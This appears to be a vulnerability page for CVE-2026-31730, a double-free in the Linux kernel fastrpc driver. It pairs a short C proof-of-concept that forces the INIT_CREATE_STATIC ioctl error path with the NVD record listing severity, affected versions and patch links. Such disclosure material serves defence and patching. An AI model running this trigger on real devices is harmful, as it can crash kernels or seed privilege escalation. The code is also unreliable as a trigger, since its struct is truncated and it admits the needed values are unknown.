CVE-2026-31730

/* * PoC for CVE-2026-31730 * This code simulates the trigger condition for the double-free vulnerability. * It requires a vulnerable kernel version and access to /dev/fastrpc. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define FASTRPC_IOCTL_INIT_CREATE_STATIC _IOWR('R', 3, struct fastrpc_ioctl_create) struct fastrpc_ioctl_create { int filefd; /* fd of the file to mmap */ unsigned int attrs; unsigned int siglen; /* ... other fields ... */ }; int main() { int fd; struct fastrpc_ioctl_create create_args; printf("[*] Opening /dev/fastrpc...\n"); fd = open("/dev/fastrpc", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // Initialize arguments to trigger the error path (err_map) // Specific values depend on the hardware/driver state to force the error. memset(&create_args, 0, sizeof(create_args)); printf("[*] Triggering INIT_CREATE_STATIC ioctl to force error path...\n"); // This call is expected to fail, triggering the first free int ret = ioctl(fd, FASTRPC_IOCTL_INIT_CREATE_STATIC, &create_args); if (ret < 0) { printf("[+] Ioctl failed as expected (ret=%d), first free likely occurred.\n", ret); } close(fd); printf("[*] Now trigger rpmsg device removal (e.g., unbind driver)\n"); printf("[*] This should trigger fastrpc_rpmsg_remove and the second free.\n"); printf("[*] Check kernel log for 'double free' or general protection fault.\n"); return 0; }

{"cve": {"id": "CVE-2026-31730", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:35.577", "lastModified": "2026-05-08T13:16:36.740", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmisc: fastrpc: possible double-free of cctx->remote_heap\n\nfastrpc_init_create_static_process() may free cctx->remote_heap on the\nerr_map path but does not clear the pointer. Later, fastrpc_rpmsg_remove()\nfrees cctx->remote_heap again if it is non-NULL, which can lead to a\ndouble-free if the INIT_CREATE_STATIC ioctl hits the error path and the rpmsg\ndevice is subsequently removed/unbound.\nClear cctx->remote_heap after freeing it in the error path to prevent the\nlater cleanup from freeing it again.\n\nThis issue was found by an in-house analysis workflow that extracts AST-based\ninformation and runs static checks, with LLM assistance for triage, and was\nconfirmed by manual code review.\nNo hardware testing was performed."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0bdee4118340c5a756220c1b29a7dab86bb0aa65", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3a164f640953cc982804746e772d379171aff5c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4b8e527aca357a6488680713bd88007cf8f547fe", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ba2c83167b215da30fa2aae56b140198cf8d8408", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f67d368d26764a357691b2b3a33d3cb55b435bfc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}